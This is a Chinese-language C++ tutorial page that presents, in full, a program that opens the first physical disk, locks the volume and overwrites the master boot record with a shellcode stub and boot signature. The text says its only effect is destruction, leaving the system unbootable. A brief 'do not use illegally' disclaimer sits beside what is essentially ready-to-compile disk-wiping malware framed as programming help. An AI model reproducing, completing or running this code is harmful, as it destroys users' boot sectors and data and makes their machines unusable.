本文实例讲述了C++破坏MBR的代码，该源码只有破坏作用，使系统无法进入。仅供大家参考借鉴之用。请勿用于非法目的。
源码来源于网上。具体代码如下：
#include <stdio.h>
//shellcode随便写了点 能破坏MBR,无法进入系统
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
//将破坏代码写入变量pMBR
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//打开物理磁盘
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
//锁定卷，使用FSCTL_LOCK_VOLUME时，以下有几个参数设为NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//写入磁盘文件
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}</div>
希望本文所述对大家的C++程序设计有所帮助。
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